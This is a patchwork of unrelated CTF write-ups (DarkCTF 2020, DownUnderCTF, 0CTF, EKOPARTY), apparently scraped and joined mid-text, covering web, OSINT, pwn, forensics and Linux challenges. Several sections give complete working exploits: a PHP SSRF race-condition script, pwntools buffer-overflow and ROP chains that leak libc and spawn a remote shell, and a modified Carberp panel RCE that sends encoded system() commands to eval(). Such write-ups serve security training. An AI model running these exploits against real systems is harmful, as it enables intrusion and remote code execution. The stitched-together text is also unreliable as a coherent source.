So, the value from `$_POST["handler"]` is used to make a request using `curl`. Researching a little about this module does not give us more than we already know. Time to go back to the `/etc/passwd` file.Note the last entry from the file: `localhost8080:x:5:60:darksecret-hiddenhere:/usr/games/another-server:/usr/sbin/nologin`This hint suggests that another server is running on port 8080. However, the server is not exposed externally, so it cannot be accessed with http://race.darkarmy.xyz:8080.Let's do a Server-Side Request Forgery by providing as input in the form from the main page `http://localhost:8080`. This gives us the next source code:
```php
Listen 443</IfModule>
<IfModule mod_gnutls.c>Listen 443</IfModule>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet```
Reading `/etc/apache2/sites-enabled/000-default.conf` gave us the location of the second server:
```text<VirtualHost *:8080>DocumentRoot /var/www/html1</VirtualHost>```
We can get the content of `index.php`, but not from `flag.php`. However, it was a nice try.
Coming back to the source code from `http://localhost:8080`:There are some conditions that we need to pass in order to get the flag. The first one:
```phpif(!(isset($_GET['user']) && isset($_GET['secret']))){ highlight_file("index.php"); die();}
if (($_GET['secret'] == "0x1337") || $_GET['user'] == "admin") { die("nope");}``` - Both `secret` and `user` must have a value - `secret` must not be equal to `0x1337` (weak comparison) - `user` must not be equal with `admin`
Second condition:```php$login_1 = 0;$login_2 = 0;
$login_1 = strcmp($_GET['user'], "admin") ? 1 : 0;
if (strcasecmp($_GET['secret'], "0x1337") == 0){ $login_2 = 1;}
if ($login_1 && $login_2) { // third condition, will be discussed next}````$login_1 && $login_2` must evaluate to `true` and for that we need: - `user` must start with `admin` - `strcasecmp($_GET['secret'], "0x1337")` must be equal with `0` (weak comparison)
The third condition is not related to `user` and `secret` so let us summarize up until this point what we need.
- `user` must not be equal with `admin` and it must strart with `admin` - Solution: set `user` equal with `admin1` - `secret` must not be equal with `0x1337` (weak comparison), but it must satisfy `strcasecmp($_GET['secret'], "0x1337") == 0` - Any other value that after type juggling is not equal with `0x1337` it is good - We need to bypass `strcasecmp($_GET['secret'], "0x1337") == 0` because, normally, the result would be 0 only if the strings are identical at byte level - Solution: make `secret` an array. This way `strcasecmp` will return `false` that will be equal to `0` due to the weak comparison
Let's check the last condition:
```phpsession_start();
$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));session_destroy();
file_put_contents($temp_name, "your_fake_flag");
if ($login_1 && $login_2) { if(@unlink($temp_name)) { die("Nope"); } echo $flag;}```In order to get the flag `unlink` needs to return `false`. Let's get line by line to fully understand what happens here.
- `$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));` - This will be the name of the file that will be saved on disk - Is the result of SHA1 hashing the MD5 hash of `date("ms").@$_COOKIE['PHPSESSID']` - `date("ms")` will return the month and the second of the current time (e.g. `0956`, where `09` is the month and `56` the seconds) - `@$_COOKIE['PHPSESSID']` will return the value of the cookie named `PHPSESSID`. The `@` will surpress any error or warning message.- `file_put_contents($temp_name, "your_fake_flag");` - Write `your_fake_flag` into a file that has as name the value from `$temp_name` - If the file doesn't exist it will be created- `if(@unlink($temp_name)) { die("Nope"); }` - `unlink` will attempt to delete the file - If needs to fail in order to retrieve the flag
In order to make `unlink` call fail, we need to open the file for reading right when `unlink` will attempt to delete it. This is called a race condition and we need to exploit it. We can read the file using the form from the first server by providing as input `file:///var/www/html/file-name`, but we have a problem, we need to anticipate the name of the file. Let's look again at the line where the file name is made: `$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));`
It is a little trick here. You could not guess the value of the session cookie, but here the cookie is not set inside the `$_COOKIE` object even if it the session was initialied. And since the `@` is used, any error or warning will be surpressed, we do not need to worry about it, it will be an empty string.
So, `sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));` is equivalent with `sha1(md5(date("ms")))`. Now, we can work with this.
I used the script below in order to exploit the race condition, tackin into account all the considerations mentioned above:
```php 'http://localhost:8080/?user=admin1&secret[]=1'];
$ch_flag_body = http_build_query($ch_flag_handler);
$flag = '';// looping until we get the flag// a race condition is somewhat not deterministic and requires multiple attemptswhile(strpos($flag, 'dark') === false) { // initialize curl object that will contain the flag $ch_flag = curl_init(); curl_setopt($ch_flag, CURLOPT_URL, $url); curl_setopt($ch_flag, CURLOPT_POST, true); curl_setopt($ch_flag, CURLOPT_POSTFIELDS, $ch_flag_body); curl_setopt($ch_flag, CURLOPT_RETURNTRANSFER, 1);
// initialize curl object for exploiting race condition $tmp_file = sha1(md5(date("ms"))); // generate the same file name $url_tmp_file = "file:///var/www/html/".$tmp_file; $ch_race_handler = [ 'handler' => $url_tmp_file ]; $ch_race_body = http_build_query($ch_race_handler);
$ch_race = curl_init(); curl_setopt($ch_race, CURLOPT_URL, $url); curl_setopt($ch_race, CURLOPT_POST, true); curl_setopt($ch_race, CURLOPT_POSTFIELDS, $ch_race_body); curl_setopt($ch_race, CURLOPT_RETURNTRANSFER, 1);
// multi handler curl object for launching the 2 reqeusts in parallel $mh = curl_multi_init(); curl_multi_add_handle($mh, $ch_flag); curl_multi_add_handle($mh, $ch_race);
// launch requests $active = null; do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM);
while ($active && $mrc == CURLM_OK) { if (curl_multi_select($mh) != -1) { do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM); } }
// read response $flag = curl_multi_getcontent($ch_flag); $file_content = curl_multi_getcontent($ch_race); echo("Flag: ".$flag." -> TMP url: ".$url_tmp_file." -> File: ".$file_content."\n"); // for debugging
curl_multi_remove_handle($mh, $ch_flag); curl_multi_remove_handle($mh, $ch_race); curl_multi_close($mh);}?>```After 1 minute we get the flag:
Flag: darkCTF{9h9_15_50_a3fu1}
# OSINT## Dark Social Web#### Description>0xDarkArmy has 1 social account and DarkArmy uses the same name everywhere>>flag format: darkctf{}
### SolutionBy the provided description I decided to start by searching for accounts with the username `0xDarkArmy`. For this I used [sherlock](https://github.com/sherlock-project/sherlock) and I got the next results:
I checked all of them and I found something on the [reddit page](https://www.reddit.com/user/0xDarkArmy/), a post meant for the CTF:
The post contains a QR image.
I used https://qrscanneronline.com/ to decode it and I got the next link: https://qrgo.page.link/zCLGd. Going to this address redirects us to an onion link: http://cwpi3mxjk7toz7i4.onion/
Moving to Tor, we get a site with a static template. Checking the `robots.txt` file give us half of flag:
Now, for the other half I tried the next things with no success:- Checked the source code- Checked the imported scripts and stylesheets- Checked the requests made- Compared the source code of the template from the official page with the source code from this site - source code was identical
I knew that the flag must be somewhere on this site, so I started looking for directory listing, but with the developer tools open (I wanted to see the status codes returned).
First thing I tried looking in the folders with images, then I took folders from the imported stylesheets.
When I made a GET request to http://cwpi3mxjk7toz7i4.onion/slick/ I noticed a custom HTTP Header in the response. That header contains the rest of the flag.
Flag: darkctf{S0c1a1_D04k_w3b_051n7}
# Forensics## AW#### Description>"Hello, hello, Can you hear me, as I scream your Flag! "
### SolutionAttached to this challenge is a `.mp4` file called `Spectre`. There are indiciations that we might get the flag from a spectogram, but for that we must strip the audio from the video file.We can achieve that with `ffmpeg -i Spectre.mp4 audio.mp3`.Next, I used [Sonic Visualizer](#https://www.sonicvisualiser.org/) to analyze the file. I added a spectogram, played a little with the settings to better view the flag and I was able to extract it.
Flag: darkCTF{1_l0v3_5p3ctr3_fr0m_4l4n}
# Crypto## haxXor#### Description>you either know it or not take this and get your flag>>5552415c2b3525105a4657071b3e0b5f494b034515### SolutionBy the title and description, we can assume that the given string was XORed and we can see that the string is in HEX.First thing, we'll asume that the flag will have the standard format, so we'll search for a key that will give us `darkCTF{`.I used an adapted version of the script provided in this [write-up](https://medium.com/@apogiatzis/tuctf-2018-xorient-write-up-xor-basics-d0c582a3d522) and got the key.
Key: `1337hack`XORing the string with this key gives us the flag.
Flag: darkCTF{kud0s_h4xx0r}
# Misc## Minetest 1#### Description>Just a sanity check to see whether you installed Minetest successfully and got into the game### SolutionInstalled minetest with `sudo apt-get install minetest`, moved the world with the mods into the `~/.minetest/worlds` and started the world.The world contains a simple logic circuit. If we make the final output positive, we get the flag.
Flag: DarkCTF{y0u_5ucess_fu11y_1ns7alled_m1n37e57}
# Linux## linux starter#### Description>Don't Try to break this jail>>ssh [email protected] -p 8001 password : wolfie### SolutionAfter we connect, we see in the home directory 3 folders. From these, two are interesting because are owned by root.
As you can see, we do not have read and execute permissions on these ones. Doing an `ls -la imp/` shows us that the folder contains the flag and we can get it with `cat imp/flag.txt`.
For this challenge you could also read the .bash_history file and get some hints.
Flag: darkCTF{h0pe_y0u_used_intended_w4y}
## Secret Vault#### Description>There's a vault hidden find it and retrieve the information. Note: Do not use any automated tools.>>ssh [email protected] -p 10000>>Alternate: ssh [email protected] -p 10000 password: wolfie### Solution
We find a hidden directory under `/home` called `.secretdoor/`. Inside we found a binary called `vault` that expects a specific pin in order to "unlock the vault".
I used the next one liner in order to find the right pin:```bashnr=0; while true; do nr=$((nr+1)); if [[ $(./vault $nr) != *"wrong"* ]]; then ./vault $nr; echo $nr; fi; done;```
By Base85 decoding the string we get the flag.
Flag: darkCTF{R0bb3ry_1s_Succ3ssfullll!!}
## Squids#### Description>Squids in the linux pool>>Note: No automation tool required.>>ssh [email protected] -p 10000 password: wolfie### SolutionBased on the title, it might have something to do with suid binaries, so let's do a `sudo -l`. This gives us `Sorry, user wolf may not run sudo on 99480b7da54a.`Let's try to find suid binaries with `find`. Running `find / -type f -perm -u=s 2>/dev/null` shows us the next binaries:
The interesting one is `/opt/src/src/iamroot`. Just running it, with no arguments gives us a segmentation fault error. By forwarding an argument we get the error message `cat: a: No such file or directory`. Seems that we can run `cat` with the owner's privileges and the owner is root. Running `./iamroot /root/flag.txt` gives us the flag.
Flag: darkCTF{y0u_f0und_the_squ1d}
|
Symbolic execution with angr
```python#!/usr/bin/env python3import angr, time, claripy
BINARY='./jack'OUTFILE='out't=time.time()proj = angr.Project(BINARY, auto_load_libs=False)print(proj.arch)print(proj.filename)print("Entry: 0x%x" % proj.entry)
password = claripy.BVS("flag", 8*16)state = proj.factory.entry_state(args=[BINARY, OUTFILE], stdin=password)simgr = proj.factory.simulation_manager(state)simgr.explore(find=lambda s: b"Good Work!" in s.posix.dumps(1), avoid=lambda s: b"Try harder" in s.posix.dumps(1))
print(simgr.found[0].posix.dumps(0))print(time.time() - t, "seconds")``` |
# DarkCTF 2020
## linux/find-me
> 165 solves / 321 points>> Author: Wolfy>> Mr.Wolf was doing some work and he accidentally deleted the important file can you help him and read the file?>> Note: All players will get individual container.>> `ssh [email protected] -p 10000 password: wolfie`
Tags: _linux_ _lsof_
## Summary
_lsof_ to find process with open file descriptor to deleted file (old trick).
## Session
```bash# ssh [email protected] -p 10000The authenticity of host '[findme.darkarmy.xyz]:10000 ([35.228.161.195]:10000)' can't be established.ECDSA key fingerprint is SHA256:MaHii9IeH1WtsGRLX02CyAoNfdL3KMPZVtfomXA1RBU.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '[findme.darkarmy.xyz]:10000,[35.228.161.195]:10000' (ECDSA) to the list of known hosts. ___ _ _ | \ __ _ _ _| |__ /_\ _ _ _ __ _ _ | |) / _` | '_| / / / _ \| '_| ' \ || | |___/\__,_|_| |_\_\/_/ \_\_| |_|_|_\_, | |__/[email protected]'s password:DISCLAIMER: Please don't abuse the server !
These Tasks were done to practice some Linux
Author: wolfie, Contact me for any problems
** Please wait a little! Wolfie cooking the environment for you! Have Fun **
wolf1@275b5c99a2a3:/home/wolf1$ lsof | grep deletetail 10 wolf1 3r REG 0,50 20 779838 /home/wolf1/pass (deleted)```
Note the process ID of `10`.
```bashwolf1@275b5c99a2a3:/home/wolf1$ ls -l /proc/10/fdtotal 0lr-x------ 1 wolf1 wolf1 64 Sep 28 01:37 0 -> /dev/nulll-wx------ 1 wolf1 wolf1 64 Sep 28 01:37 1 -> /dev/nulll-wx------ 1 wolf1 wolf1 64 Sep 28 01:37 2 -> /dev/nulllr-x------ 1 wolf1 wolf1 64 Sep 28 01:37 3 -> '/home/wolf1/pass (deleted)'
wolf1@275b5c99a2a3:/home/wolf1$ cat /proc/10/fd/3mysecondpassword123
wolf1@275b5c99a2a3:/home/wolf1$ ls -l /hometotal 8drwxr-xr-x 1 wolf1 wolf1 4096 Sep 28 01:37 wolf1drwxr-x--- 1 root wolf2 4096 Sep 26 21:02 wolf2
wolf1@275b5c99a2a3:/home/wolf1$ su - wolf2Password:
wolf2@275b5c99a2a3:~$ find . -type f./.bash_logout./.bashrc./.profile./proc/g/nice_work
wolf2@275b5c99a2a3:~$ cat proc/g/nice_workdarkCTF{you are standing on the flag}
}!!!kr0w_3c1n_hha0w{FTCkrad
wolf2@275b5c99a2a3:~$ echo '}!!!kr0w_3c1n_hha0w{FTCkrad' | revdarkCTF{w0ahh_n1c3_w0rk!!!}``` |
Here is the exploit script
```from pwn import *nc = remote('chal.duc.tf', 30002)get_shell = '\xca\x06\x40\x00\x00\x00\x00\x00'nc.sendlineafter(': ', 'A' * 56 + get_shell)nc.interactive()```
Here is the flag
`DUCTF{h0w_d1d_you_c4LL_That_funCT10n?!?!?}` |
# OSINT - Dark Social Web
## Challenge description:
## Solution:
There is a username in the challenge description (**0xDarkArmy**)...
I checked all the social media sites for that username, and I found an interesting thing in **Reddit**!
(https://www.reddit.com/user/0xDarkArmy/)
I scanned that QR code and I got this link: (https://qrgo.page.link/zCLGd), which redirects to this link: (http://cwpi3mxjk7toz7i4.onion/)
For those who don't know what is **.onion**:
I opened TOR browser, then I opened that link and I got this website:
**I checked the source code, the CSS files and the JS files and I didn't find anything special...**
Then I checked **/robots.txt** and I found a part of the flag:
To make a long story short ?, I found the other part of the flag in a header of a GET request:
**darkctf{S0c1a1_D04k_w3b_051n7}** |
# OSINT - Auth0r
## Challenge description:
## Solution:
According to the description, we need to find the site of this challenge author (**U!B_Sidhartha**).
I tired searching for (UiB Sidhartha) in some social media sites, and I found his Twitter account and his Instagram account.
Nice! The author site is there. (www.theuib.live)
The flag was in a hidden directory which you could find in the home page source, and it's (/hacsecurity)
**HACSEC{0PENINT!S_VERY_US3FUL}** |
Exploiting uninitialized struct members
[https://danielepusceddu.github.io/ctf_writeups/downunder20_vecc/](https://danielepusceddu.github.io/ctf_writeups/downunder20_vecc/) |
# OSINT - Wigly Wigly Wack
## Challenge description:
## Hints:
 
## Solution:
The challenge name reminds me with a website called **WiGLE** (https://wigle.net/)
So, what we have in the description (**00:04:0E:F2:3B:B5**) is the MAC address of a wireless hotspot.
And here are the steps to find that hotspot:
1. Go to https://wigle.net/search
2. Put (**00:04:0E:F2:3B:B5**) in the **BSSID/MAC** form, then click on **Query**
You will see one search result:
And the flag is the SSID of that wireless hotspot.
**HACSEC{WLAN-f1364-Fritz}** |
# OSINT - Location
## Challenge description:
## Hints:
## Solution:
First of all, I searched for Evan Williams
That's interesting, I might need to search in Twitter, Blogger or Medium.
And I have something in the description that looks like a username (**blogpost1**).
So, I searched for **blogpost1** in Twitter, Blogger and Medium.
- I didn't find anything in Twitter.- In Blogger, I found an old blog, from 2005, so it's not useful.- In Medium, I found something interesting. (https://medium.com/@blogpost1)
(https://medium.com/@blogpost1/my-travel-location-44e94a307628)
So, what I need to do is to find the name of the hotel he is staying at.
Also, he said that it will take approximately 5–6 minutes for him to reach the hotel from that store (**Bonanza Gift Shop**).
Using Google Maps, I found a hotel called **The STRAT Hotel**,
and it takes approximately 5 minutes to reach from **Bonanza Gift Shop** to that hotel.
And that was the flag.
**HACSEC{TheSTRATHotel}** |
# SecureEnv
## Description
```nc 49.234.137.149 12421```
[SecureEnv](https://github.com/mephi42/ctf/tree/master/2020.09.26-0CTF_TCTF_2020_Finals/SecureEnv/secureenv_26412afc95c23da51eb8726910bf9547.tar.xz)
## Summary
This is a pwn challenge. We are given a binary and a shared library; the binarydoes not work out of the box:
```./secure: error while loading shared libraries: libsgx_urts.so: cannot open shared object file: No such file or directory```
The server asks for a blob and closes the connection:
``` _____ ____ _____ _____ ____ ___ ____ ___ |_ _/ ___|_ _| ___| |___ \ / _ \___ \ / _ \ | || | | | | |_ __) | | | |__) | | | | | || |___ | | | _| / __/| |_| / __/| |_| | |_| \____| |_| |_| |_____|\___/_____|\___/ ____ / ___| ___ ___ _ _ _ __ ___ \___ \ / _ \/ __| | | | '__/ _ \ ___) | __/ (__| |_| | | | __/|____/ \___|\___|\__,_|_| \___| _____ _ _ | ____|_ ____ _(_)_ __ ___ _ __ _ __ ___ ___ _ __ | |_ | _| | '_ \ \ / / | '__/ _ \| '_ \| '_ ` _ \ / _ \ '_ \| __|| |___| | | \ V /| | | | (_) | | | | | | | | | __/ | | | |_ |_____|_| |_|\_/ |_|_| \___/|_| |_|_| |_| |_|\___|_| |_|\__|
Please input size: 1Please input secret: A```
Not much else to see here, let's dive right in.
## TL;DR
* [Exploit](https://github.com/mephi42/ctf/tree/master/2020.09.26-0CTF_TCTF_2020_Finals/SecureEnv/shellcode.c)* [Intel SGX](https://en.wikipedia.org/wiki/Software_Guard_Extensions)* Install the [driver]( https://github.com/intel/SGXDataCenterAttestationPrimitives/tree/LD_1.33.1/driver/linux ) and [SDK](https://download.01.org/intel-sgx/sgx-linux/2.11/distro/) in order to run the binary.* Build [gdb-sgx]( https://github.com/intel/linux-sgx/tree/sgx_2.11/sdk/debugger_interface/linux) in order to debug the enclave.* [Step through](https://github.com/mephi42/ctf/tree/master/2020.09.26-0CTF_TCTF_2020_Finals/SecureEnv/gdbscript) library layers in order to reach the challenge logic.* The blob is a shellcode that runs inside the enclave.* The SGX memory protection is asymmetric, so overwrite `main()` return address with [one-gadget](https://github.com/david942j/one_gadget).* The shell appears:```$ ./getflagflag{Th3_SGX_memory_protection_1s_asymmetric}```
## SGX
The missing `libsgx_urts.so` is not part of any Ubuntu or Fedora package,it can be found only in [intel/linux-sgx](https://github.com/intel/linux-sgx)repo. So what is [Intel SGX](https://en.wikipedia.org/wiki/Software_Guard_Extensions)? It's a processorfeature, that allows running code in an isolated enclave, so that the system(this includes kernel and hypervisors) has very limited capabilities ofobserving and interfering with its execution.
The workflow is as follows. First, the launcher process creates the enclave andloads the code into it using [`sgx_create_enclave()`](https://github.com/intel/linux-sgx/blob/sgx_2.11/common/inc/sgx_urts.h#L88).The enclave defines so-called ecalls, which allow triggering code executionwithin it using [`sgx_ecall()`](https://github.com/intel/linux-sgx/blob/sgx_2.11/common/inc/sgx_edger8r.h#L79).It's convenient to think of ecalls as syscalls, because they also define asecurity boundary. Finally, [`sgx_destroy_enclave()`](https://github.com/intel/linux-sgx/blob/sgx_2.11/common/inc/sgx_urts.h#L129)can be used to destroy the enclave.
The enclave is [mapped](https://sgx101.gitbook.io/sgx101/sgx-bootstrap/enclave#memory-layout-of-enclave-virtual-memory)into its launcher's address space. SGX's tamper protection works in a singledirection: the launcher cannot mess with the enclave, but the enclave can messwith the launcher. In particular, it can dereference pointers passed to itsecalls.
In order to run the program, I installed all the prebuilt Fedora RPMs from the[SDK](https://download.01.org/intel-sgx/sgx-linux/2.11/distro/). There is alsoa [driver](https://github.com/intel/SGXDataCenterAttestationPrimitives/tree/LD_1.33.1/driver/linux) which one has to build and `insmod`. Unfortunately SDK does not include the [gdb wrapper](https://github.com/intel/linux-sgx/tree/sgx_2.11/sdk/debugger_interface/linux),which I also had to build manually:```linux-sgx$ cd sdk/debugger_interface/linuxlinux$ makelinux$ cd ../../../build/linux/gdb-sgx-plugingdb-sgx-plugin$ sed -i -e "s!@SDK_LIB_PATH@!$PWD/..!g" sgx-gdbgdb-sgx-plugin$ sudo ./sgx-gdb```
## Reversing
The binary `secure` is a simple launcher: it creates the enclave, passes theuser's blob to its ecall, and destroys the enclave.``` alarm(180); setbuf(stdout, 0LL); setbuf(stdin, 0LL); if (sgx_create_enclave( /* file_name */ "env.signed.so", /* debug */ 1, /* launch_token */ NULL, /* launch_token_updated */ NULL, /* enclave_id */ &g_enclave, /* misc_attr */ NULL)) { puts("SGX initialization failed!"); return -1; } memset(secret, 0xc3, sizeof(secret)); memset(size_buf, 0, sizeof(size_buf)); print_logo(); printf("Please input size: "); readln(size_buf, sizeof(size_buf)); size = strtol(size_buf, 0, 10); if (size > 0x1000) { puts("Size too large!"); return 1; } printf("Please input secret: "); readn(secret, size); secret_ptr = secret; sgx_ecall( /* eid */ g_enclave, /* index */ 0, /* ocall_table */ &g_ocall_table, /* ms */ &secret_ptr) sgx_destroy_enclave(g_enclave); return 0;```
So the shared library - `env.signed.so` - must be the enclave. It linksstatically with SGX runtime, for which we have the sources, so [pigaios](https://github.com/joxeankoret/pigaios) should be great to recover functionnames. Unfortunately, it did not work for me this time - it built the database,but then could not find any matches. Therefore I had to spend some timecorrelating asm with sources in order to find the ecall logic.
The call chain is as follows:
* [`enclave_entry()`]( https://github.com/intel/linux-sgx/blob/sgx_2.11/sdk/trts/linux/trts_pic.S#L93 ) - this is a public symbol.* [`enter_enclave()`]( https://github.com/intel/linux-sgx/blob/sgx_2.11/sdk/trts/trts_nsp.cpp#L76 ) @ `0x6720`* [`do_ecall()`]( https://github.com/intel/linux-sgx/blob/sgx_2.11/sdk/trts/trts_ecall.cpp#L372 ) @ `0x1ca0`* [`trts_ecall()`]( https://github.com/intel/linux-sgx/blob/sgx_2.11/sdk/trts/trts_ecall.cpp#L248 ) @ `0x18c0`. This one references `g_ecall_table` @ `0x208dd0`, which has the addresses of ecall handlers (just one in this case).* `challenge_ecall()` @ `0x5a0`* jump to shellcode @ `0x594`
Note that `&secret_ptr` is passed unchanged through all the layers - there isno complicated marshalling. `challenge_ecall` does the following:``` if (!mr) return SGX_ERROR_INVALID_PARAMETER; if (!sgx_is_outside_enclave(mr, sizeof(void *))) return SGX_ERROR_INVALID_PARAMETER; sgx_lfence(); secret_ptr = *mr; if (!secret_ptr) { sgx_lfence(); memcpy(secret, NULL, sizeof(secret)); ((void *(*)(void))secret)(); return 0; } if (!sgx_is_outside_enclave(secret_ptr, 0x1000)) return SGX_ERROR_INVALID_PARAMETER; sgx_lfence(); p = malloc(0x1000); if (!p) return SGX_ERROR_OUT_OF_MEMORY; if (!memcpy_s(p, 0x1000, secret_ptr, 0x1000)) { memcpy(secret, p, sizeof(secret)); ((void *(*)(void))secret)(); free(p); return 0; } free(p); return 1;```
So we just jump to the shellcode. In the debugger we can see that on entry toshellcode `&secret_ptr` is stored in `%r13`.
## Exploitation
With all that knowledge writing [shellcode](https://github.com/mephi42/ctf/tree/master/2020.09.26-0CTF_TCTF_2020_Finals/SecureEnv/shellcode.c) is easy: figure outthe distance between `&secret_ptr` and `main()` return address, read thelatter, compute the libc base, compute one-gadget address, overwrite `main()`return address with it, store a bunch of zeroes below it in order to satisfyone-gadget constraints, done.
## Conclusion
This is a nice SGX intro challenge - even though the exploitation part istrivial, the main difficulties are to understand the technology, configure thedevelopment setup and reverse engineer the enclave. |
# DarkCTF 2020
## pwn/roprop
> 171 solves / 313 points>> Author: gr4n173>> This is from the back Solar Designer times where you require rope to climb and get anything you want.>> `nc pwn.darkarmy.xyz 5002`> > [roprop](roprop)
Tags: _pwn_ _x86-64_ _remote-shell_ _rop_ _bof_
## Summary
`gets`.
> This is virtually the same as [_return-to-what_](https://github.com/datajerk/ctf-write-ups/tree/master/downunderctf2020/return_to_what).
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```
No shellcode, but that's about it.
### Decompile with Ghidra
```cundefined8 main(void){ char local_58 [80]; nvm_init(); nvm_timeout(); puts("Welcome to the Solar Designer World.\n"); puts("He have got something for you since late 19\'s.\n"); gets(local_58); return 0;}```
`gets` vulnerability. Easy ROP since no canary or PIE. To get to the return address send `0x58` bytes (gotta love how Ghidra tells you that, i.e. `local_58`).
## Exploit
### Setup
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./roprop')context.log_level = 'INFO'
if not args.REMOTE: context.log_file = 'local.log' libc = binary.libc p = process(binary.path)else: context.log_file = 'remote.log' p = remote('roprop.darkarmy.xyz', 5002)```
Boilerplate pwntools. `context.binary` is important for ROP. Also notice there's no `libc` set for `REMOTE` since we have to find it first.
### Leak libc
```pythonrop = ROP([binary])pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]
payload = 0x58 * b'A'payload += p64(pop_rdi)payload += p64(binary.got.puts)payload += p64(binary.plt.puts)payload += p64(binary.sym.main)
p.sendlineafter('He have got something for you since late 19\'s.\n\n',payload)
_ = p.recv(6)puts = u64(_ + b'\0\0')log.info('puts: ' + hex(puts))```
Standard `puts` _putting_ itself out there. With the `puts` location known we can find the version and base address of libc. The last part of the payload jumps back to `main` for a second and final pass.
### Find libc
```pythonif not 'libc' in locals(): try: import requests r = requests.post('https://libc.rip/api/find', json = {'symbols':{'puts':hex(puts)[-3:]}}) libc_url = r.json()[0]['download_url'] libc_file = libc_url.split('/')[-1:][0] if not os.path.exists(libc_file): log.info('getting: ' + libc_url) r = requests.get(libc_url, allow_redirects=True) open(libc_file,'wb').write(r.content) except: log.critical('get libc yourself!') sys.exit(0) libc = ELF(libc_file)
libc.address = puts - libc.sym.putslog.info('libc.address: ' + hex(libc.address))```
> Something new I'm experimenting with.
The `if` block will detect and download the correct libc. `libc_url = r.json()[0]['download_url']` needs to be changed if the downloaded libc does not work, just increment the `[0]` until you get the right one.
### Get a shell, get the flag
```pythonpayload = 0x58 * b'A'payload += p64(pop_rdi + 1)payload += p64(pop_rdi)payload += p64(libc.search(b'/bin/sh').__next__())payload += p64(libc.sym.system)
p.sendlineafter('He have got something for you since late 19\'s.\n\n',payload)p.interactive()```
Pop a shell, get the flag.
> `p64(pop_rdi + 1)` fixes a stack [alignment issue](https://blog.binpang.me/2019/07/12/stack-alignment/), see [blind-piloting](https://github.com/datajerk/ctf-write-ups/tree/master/b01lersctf2020/blind-piloting) for a lengthy example.
Output:
```bash# ./exploit.py REMOTE=1[*] '/pwd/datajerk/darkctf2020/roprop/roprop' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[+] Opening connection to roprop.darkarmy.xyz on port 5002: Done[*] Loaded 14 cached gadgets for './roprop'[*] puts: 0x7f17891cda30[*] getting: https://libc.rip/download/libc6_2.27-3ubuntu1.2_amd64.so[*] '/pwd/datajerk/darkctf2020/roprop/libc6_2.27-3ubuntu1.2_amd64.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] libc.address: 0x7f178914d000[*] Switching to interactive mode$ ls -ltotal 36drwxr-x--- 1 0 1000 4096 Sep 25 02:12 bindrwxr-x--- 1 0 1000 4096 Sep 25 02:12 dev-rwxr----- 1 0 1000 29 Sep 19 11:19 flag.txtdrwxr-x--- 1 0 1000 4096 Sep 25 02:12 libdrwxr-x--- 1 0 1000 4096 Sep 25 02:12 lib32drwxr-x--- 1 0 1000 4096 Sep 25 02:12 lib64-rwxr-x--- 1 0 1000 8872 Sep 21 17:50 roprop$ cat flag.txtdarkCTF{y0u_r0p_r0p_4nd_w0n}``` |
> ADMIN
Solved by: [@fernetInjection](https://twitter.com/fernetInjection "@fernetInjection")
We are given a webserver on `http://admin.eko.cap.tf:10000` with an HTTP 500 response and the info in the image above.
Doing some dirsearch we found an `install.txt` file with some russian steps to install something.. In the info we can see something about Apache `mod_xsendfile`, so digging up a bit and reading https://tn123.org/mod_xsendfile/ we found that if a request header is sent with a file name (and this mod is enabled) we can MAYBE download arbitrary files.
We did our best to exploit this but with no luck.
Doing more googling we found this bank trojan source code https://github.com/nyx0/Carberp. We compared the folders obtained in our scans and matched the ones under https://github.com/huntpig/Carberp-1/tree/master/adminpanel/bot_adm
So the banking trojan of the task is `Carberp`.
After digging a lot we foud that there is an RCE vunerabilitie in the banking trojan (the buster got busted). We can see it here https://vulners.com/zdt/1337DAY-ID-21658
Using this modified exploit code we got RCE.
```php<table width="607" border="0"> <tr> <td><form method="POST" action="<?php basename($_SERVER['PHP_SELF']) ?>"> <label for="carberp">Domain: </label> <input type="submit" name="button" id="button" value="Ownz !" /> </form></td> </tr> <tr> <td> 'BOTNETCHECKUPDATER0-WD8Sju5VR1HU8jlV', 'data' => base64_encode(bin2hex("system('" . $_POST['data'] . "');")) ); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://admin.eko.cap.tf:10000/scripts/pat/builds.php"); //curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:','X-Sendfile:/var/www/html/.ht_flag')); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $contents = curl_exec($ch); curl_close($ch); echo "" . $contents . ""; ?> </td> </tr></table>```
We used `http://admin.eko.cap.tf:10000/scripts/pat/builds.php` because that was one of the files we were looking at the source code (and later we found that a lot of php files has the vulnerable `eval` function), but `/index.php` should have worked too.
The vulnerable code in Carberp is this one:`if(!empty($_POST['data'])) eval(pack("H*", base64_decode($_POST['data'])));`
So if we send a POST request with data set with some encoded content we can get eval() function evaluate our payload. The payload is encoded with `base64_encode(bin2hex())` PHP's functions, as you can see in line 13 of the code
So we executed `cat /var/www/html/.htaccess` we can see that mod_xsendfile was on with the directive `XSendFile on`, so our initial approach maybe was right (we want to know if there was more than one way to solve the challenge)
Doing `ls -al /var/www/html` we found .ht_flag file. We did `cat /var/www/html/.ht_flag`. At first the exploit code was filtering the results, so we went back to a mix of this exploit and `X-Sendfile:/var/www/html/.ht_flag` header, with no luck).
So after some tweeking of the original code we got the flag
